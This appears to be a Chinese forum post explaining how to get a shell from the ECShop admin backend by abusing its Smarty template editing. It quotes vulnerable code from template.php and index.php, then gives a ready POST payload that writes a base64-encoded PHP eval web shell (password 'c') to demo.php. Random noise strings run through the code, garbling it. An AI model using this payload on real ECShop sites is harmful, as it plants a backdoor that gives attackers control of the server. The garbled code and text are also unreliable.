Ecshop后台getshell

admin

首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
: q1 \$ U% k8 {" b! j+ F3 m6 G: q
而模板里面可以执行他定义的php代码，这样只要可以写出模板 然后找到调用就可以拿到shell了
8 t+ o0 r0 @- A6 \但是ecshop似乎不支持{php}{/php}这个标签来执行php代码
admin/template.php

; ~8 A, \+ P: e2 j# V7 ~5 g1 if ($_REQUEST['act'] == 'update_library')

2   

3 {
3 S" u) n2 z* c: d
4     check_authz_json('library_manage');
. o8 s6 R) g0 r# R  `# ]
5   
3 ?9 b5 ~  {7 g+ v1 ~0 M: d
& T! L: B- o0 M9 N6     $html = stripslashes(json_str_iconv($_POST['html']));

1 U# D/ b. y+ d9 @' _7 y* f7   

8     $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件

9 R) O, T2 |1 R% E7 r9   
8 c" Y4 V- h6 `  t7 [: y
10     $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符

4 ^( W6 {: w" D% T& s& B11   

" f) D5 f* T$ [" Y7 R12     $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
, D9 F4 m/ o/ x6 Z6 k: s5 m
3 r# f4 U* m+ L& q" r/ L13   
; o3 W+ u  \9 y* J1 q
! f( t3 ]; {, C; d. U) ]14     if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出
/ C" S" g2 s& d* M- z) c
15     {
& h" Z; B7 k; U: Z: U# a7 p  H$ {
# v" ]6 y5 u8 F: X/ u4 c; y16         @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);

17         make_json_result('', $_LANG['update_lib_success']);

18     }

" p, g5 f, ]3 y/ @* B6 X19     else

0 @4 @# r! }: W; G4 e/ ~; F20     {

: D/ G2 W" Z$ G21         make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
* g+ c& B0 Y3 G
8 |) y( i7 v' g3 J9 d22     }
! A  A* g/ B. b1 H) V- w1 n8 K
23 }
9 q  N1 j/ v: w% a9 q3 F
那么找个比较方便调用了模板的文件
index.php
$ G2 d) B  G- D- g
1 if ($act == 'cat_rec')

2   

. V( Z- J6 ?7 m4 E8 W3 {
0 Z  G* }# b8 @& x6 s
. Z2 l+ n! J8 q8 O1 j6 C0 q4   

4 m9 Z' [* w- b4 a$ x5     $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');

+ @* Q# _6 ]3 M9 {. I* ^& W6   

# r) G3 p( H4 }+ B2 S; E7     $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';

9 @  ?$ {, O# ?% m  k8   

2 d$ ]# Q, V5 p# a9     $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0';

! J  |' |& y! O( ~8 t10   

11     include_once('includes/cls_json.php');

- }# m% r5 I  e+ f' k12   
7 y+ r8 h3 J6 W$ Z  H
7 }' Q: [( j1 c* X. ]3 q3 S3 }) v13     $json = new JSON;
* N/ ]: N+ }2 d8 e" f$ P
14   
) a) O  p: L0 S1 c5 p( s6 \
% e% S  i& D* K$ Q15     $result   = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id);
. B1 e3 g# A, J/ C# W+ W
( b" Q) w7 a5 O" m  d16   
  h8 L  G- M! R" N% w9 d
8 }+ i+ [! @4 f2 M# B5 X17     $children = get_children($cat_id);
/ O2 ^+ ^/ K4 G/ k/ f% @
5 b2 y9 N7 e4 i1 m0 M7 C18   

1 B$ E0 ]( [$ P, G19     $smarty->assign($rec_array[$rec_type] . '_goods',      get_category_recommend_goods($rec_array[$rec_type], $children));    // 推荐商品
* j) ~5 G3 ^+ p
20   
7 [; w' i! w0 Z9 A
, I( r& {! U1 T3 p# p$ B! q21     $smarty->assign('cat_rec_sign', 1);

: _% r7 i, ^$ O, X) W" q22   
" q' e" O: u. @) p8 O6 i
23     $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
% h. [: s8 c3 e% `) d1 c
24   
  {5 E: R8 J, ~3 S1 F" ?* f
- g5 E; `9 z  c5 m& h25         echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';

) k6 r$ ^0 [: x" k$ a1 c2 ~26   

27         echo $rec_array[$rec_type];
9 D2 D6 K4 l. @0 H' w
28   

29     die($json->encode($result));

8 `% Y1 s) [4 M7 q/ Q2 o. M30   
) V% V$ D4 {# f
$ a8 M: X9 s+ X: p8 J* E4 s( C31 }

那么就有利用方法了
9 g/ n, c8 D* [4 m5 Ipost包到http://localhost/ec/admin/template.php?act=update_library
6 g. R% [( c# \3 C9 Q( N" ^: Z9 h+ W: oPost内容：
  V% [6 ?$ c" M% u; r5 E9 }
3 H+ x# ~: S, }* |  v+ `- W​
1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if}

: o$ D5 o& F2 V1 o7 O+ O9 \7 O然后访问http://localhost/ec/index.php?act=cat_rec
/ j' L3 G5 C1 }8 ]2 v
shel地址：http://localhost/ec/demo.php
! e& N- Q2 i) ?4 |! u9 }3 ~. e  a密码c